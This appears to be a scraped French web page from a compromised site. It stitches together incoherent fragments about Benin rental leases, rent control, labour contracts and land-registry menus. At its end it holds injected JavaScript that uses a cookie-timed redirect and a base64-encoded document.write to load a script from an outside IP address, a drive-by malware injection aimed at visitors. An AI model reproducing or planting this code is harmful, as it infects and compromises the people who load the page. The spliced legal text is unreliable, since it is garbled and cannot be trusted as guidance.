Plutôt que d’appeler a de nouvelles lois, faisons respecter celles existante, renforçons la capacité des juges a faire appliquer la loi, en lui donnant des moyens et en la rapprochant des citoyens, renforçons les pouvoirs locaux ( conseils communaux) , plutôt que d’appeler a l’intervention de l ’exécutif central dans les rapports entre personnes, faisons jouer a l’exécutif central son rôle dans la construction d’infrastructures publiques –y compris logements sociaux-. Si vous ne souhaitez pas passer via un un professionnel (agent immobilier ou autre) je vous conseille de vous procurer un contrat … Cependant, il est admis qu’une somme inférieure à 30% du SMIC par mois de … Le locataire et le propriétaire gardent chacun un exemplaire du bail. 0 CFA to 1.000.000.000 CFA. En matière immobilière, il y a des lois ( au niveau central et local) . Comment déterminer le juste prix de votre bien immobilier? Chers amis, la loi votée, la semaine écoulée, c’est-à-dire le mardi 24 avril 2018, certes est une loi traitant du crédit bail mais à usage d’habitation domestique et non, elle comporte quatre-vingt-dix … On a dans notre pays une offre insuffisante d’appartements, aggravée par l’absence de politique gouvernementale du logement, et tout ce que nos prétendus agitateurs trouvent a proposer, c’est un encadrement des loyers ? Modèles de contrats de travail CDD et CDI Word et PDF rédigés par des avocats et prêts à télécharger / imprimer. En démocratie, l’état ( entendu comme exécutif) n’a pas pour rôle de gérer les conflits issus des contrats ! Rédigé par … Mais franchement, nous connaissons tous le système judicaire de notre pays qui n’encourage pas de telles procédures. Cet exemple type de bail pour les locations vides est disponible gratuitement. Selon l’article 9 du code de travail au Bénin : Le contrat de travail est un accord de volonté par lequel une personne physique s’engage à mettre son activité professionnelle sous la direction et l’autorité d’une autre personne physique ou morale moyennant rémunération. Il est à noter en conformité avec les dispositions de l’article 10 du même document que les contrats de … IL y va de la survie de l’état de droit pour puissants et faibles ! Par Simon Poty. Le service de la location de chambres d'hôtels, ... Ces excursions intègrent les frais de guidage et la logistique de l'excursion au Bénin. Foncier en chiffres; Autres organes; Cadastre; Parties prenantes; Accès au Foncier; Le transfert de propriété ; Textes sur le Foncier; Lexique du foncier; Foire aux questions (FAQ) Rapports/publications/livres; Cartothèque; Localiser ma parcelle; Statistiques. Contrat de prestation de service. Document demandé il y a 12 ans Actif il y a 11 ans 2 documents Envoyer un document. 6 Mois de Caution pour le bail d’un bureau ; 3 Mois de loyer payés à l’avance et négocié avec beaucoup d’insistance à 1 mois ; 1 Mois de Caution pour garantir l’Electricité et l’eau ; La fixation des tarifs au mètre carré et par zone, pour un bon équilibre entre l’investissement et son retour ; Les limites de caution à définir : six mois de caution ne sont pas aisés à réunir ; Le payement des loyers : c’est mieux qu’il soit mensuel plutôt que trimestriel, pour tenir compte du fait que nous avons pour la plupart des revenus mensuels ; La création d’un fichier ou d’un système national répertoriant l’historique de chaque locataire… pour également obliger les locataires à comprendre qu’il faut bien entretenir les biens ; L’Obligation pour le propriétaire et son locataire de souscrire à une assurance pour couvrir les responsabilités de chacun ; La réglementation de la fonction d’agent immobilier ou d’agence immobilière : ce qui rendrait la relation entre propriétaire et locataire plus professionnelle, et permettrait à l’état d’avoir des interlocuteurs plus aptes ; L’état également devrait pouvoir accompagner par des mesures incitatives les promoteurs immobiliers, dans le but d’avoir des constructions à coûts raisonnables ; Il est aussi temps que les structures censées donner des « permis de construire » fassent bien leur travail, afin que les biens construits respectent les normes architecturales et de sécurité. L’exemplarité, un atout majeur pour impulser le changement, Bénin : Nos chaussées ne devraient pas être des garages à ciel ouvert, Bénin : Plaidoyer pour le retour des campagnes de salubrité, Bénin : Mauvais service dans nos banques, un fléau, France : Arrêté après des «propos inquiétants» sur Macron, Empoisonnement de Navalny : les troublantes révélations d’un agent russe, selon CNN. Le contrat de travail à temps partiel (contrat à durée indéterminée) doit être écrit et doit mentionner la qualification des travailleurs, les éléments de la rémunération, la durée hebdomadaire et la répartition des heures de travail. Pour ceux qui … Appeler a ce qu’il le fasse, c’est renforcer l’autoritarisme, limiter l’état de droit. Sauf que le jour où j’emménageais, le propriétaire a décidé que finalement il ne voulait plus louer son local. BENINLOGIS est une plate forme de Géolocalisation au Bénin. – dépôt de garantie (non obligatoire) *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('